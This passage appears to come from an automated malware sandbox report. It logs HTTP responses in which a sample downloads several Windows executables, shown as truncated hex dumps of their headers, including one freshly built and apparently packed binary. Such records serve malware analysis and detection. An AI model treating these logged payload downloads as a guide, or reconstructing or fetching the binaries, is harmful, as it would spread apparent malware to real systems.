00 00 40 00 10 42 2f 33 31 00 00 00 00 00 5d 27 00 00 00 60 0e 00 00 28 00 00 00 ec 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 34 35 00 00 00 00 00 9a 2d 00 00 00 90 0e 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 11 Nov 2024 18:17:52 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "a7550-5e7e950876500"Accept-Ranges: bytesContent-Length: 685392Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e 0a 00 40 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 95 0c 08 00 00 10 00 00 00 0e 08 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 c4 06 02 00 00 20 08 00 00 08 02 00 00 12 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 3c 46 00 00 00 30 0a 00 00 02 00 00 00 1a 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 80 0a 00 00 02 00 00 00 1c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 90 0a 00 00 04 00 00 00 1e 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 f0 23 00 00 00 a0 0a 00 00 24 00 00 00 22 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 11 Nov 2024 18:17:53 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "94750-5e7e950876500"Accept-Ranges: bytesContent-Length: 608080Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc 08 00 dc 03 00 00 e4 5a 08 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 61 b5 07 00 00 10 00 00 00 b6 07 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 94 09 01 00 00 d0 07 00 00 0a 01 00 00 ba 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 1d 00 00 00 e0 08 00 00 04 00 00 00 c4 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 00 09 00 00 02 00 00 00 c8 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 6c 73 00 00 00 00 15 00 00 00 00 10 09 00 00 02 00 00 00 ca 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b0 08 00 00 00 20 09 00 00 0a 00 00 00 cc 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 d8 41 00 00 00 30 09 00 00 42 00 00 00 d6 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 11 Nov 2024 18:17:54 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "6dde8-5e7e950876500"Accept-Ranges: bytesContent-Length: 450024Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 06 00 00 04 00 00 2c e0 06 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 10 67 04 00 82 cf 01 00 e8 72 06 00 18 01 00 00 00 a0 06 00 f0 03 00 00 00 00 00 00 00 00 00 00 00 9c 06 00 e8 41 00 00 00 b0 06 00 ac 3d 00 00 60 78 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 77 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 70 06 00 e4 02 00 00 c0 63 04 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 92 26 06 00 00 10 00 00 00 28 06 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 48 29 00 00 00 40 06 00 00 18 00 00 00 2c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 ac 13 00 00 00 70 06 00 00 14 00 00 00 44 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 69 64 61 74 00 00 34 00 00 00 00 90 06 00 00 02 00 00 00 58 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f0 03 00 00 00 a0 06 00 00 04 00 00 00 5a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 ac 3d 00 00 00 b0 06 00 00 3e 00 00 00 5e 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 11 Nov 2024 18:17:54 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "1f3950-5e7e950876500"Accept-Ranges: bytesContent-Length: 2046288Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca 1d 00 5c 04 00 00 80 26 1d 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 89 d7 19 00 00 10 00 00 00 d8 19 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 6c ef 03 00 00 f0 19 00 00 f0 03 00 00 dc 19 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 52 00 00 00 e0 1d 00 00 2e 00 00 00 cc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 40 1e 00 00 02 00 00 00 fa 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 50 1e 00 00 04 00 00 00 fc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 5c 08 01 00 00 60 1e 00 00 0a 01 00 00 00 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 11 Nov 2024 18:17:55 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "3ef50-5e7e950876500"Accept-Ranges: bytesContent-Length: 257872Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b 03 00 8c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 26 cb 02 00 00 10 00 00 00 cc 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 d4 ab 00 00 00 e0 02 00 00 ac 00 00 00 d0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 98 0b 00 00 00 90 03 00 00 08 00 00 00 7c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 a0 03 00 00 02 00 00 00 84 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 80 03 00 00 00 b0 03 00 00 04 00 00 00 86 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 c8 35 00 00 00 c0 03 00 00 36 00 00 00 8a 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 11 Nov 2024 18:17:55 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "13bf0-5e7e950876500"Accept-Ranges: bytesContent-Length: 80880Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e0 e3 00 00 14 09 00 00 b8 00 01 00 8c 00 00 00 00 10 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 fa 00 00 f0 41 00 00 00 20 01 00 10 0a 00 00 80 20 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 20 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 b4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f4 dc 00 00 00 10 00 00 00 de 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 f4 05 00 00 00 f0 00 00 00 02 00 00 00 e2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 84 05 00 00 00 00 01 00 00 06 00 00 00 e4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 00 04 00 00 00 10 01 00 00 04 00 00 00 ea 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 10 0a 00 00 00 20 01 00 00 0c 00 00 00 ee 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 11 Nov 2024 18:17:59 GMTContent-Type: application/octet-streamContent-Length: 3123712Last-Modified: Mon, 11 Nov 2024 17:39:39 GMTConnection: keep-aliveETag: "6732415b-2faa00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 ca 01 00 00 00 00 00 00 b0 2f 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 e0 2f 00 00 04 00 00 8a 44 30 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 a0 06 00 6b 00 00 00 00 90 06 00 e0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 58 9f 2f 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 9f 2f 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 06 00 00 10 00 00 00 80 06 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 e0 01 00 00 00 90 06 00 00 02 00 00 00 90 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 06 00 00 02 00 00 00 92 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 70 65 73 7a 66 78 75 6e 00 f0 28 00 00 b0 06 00 00 f0 28 00 00 94 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 75 6f 72 79 78 6b 66 6a 00 10 00 00 00 a0 2f 00 00 04 00 00 00 84 2f 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 b0 2f 00 00 22 00 00 00 88 2f 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
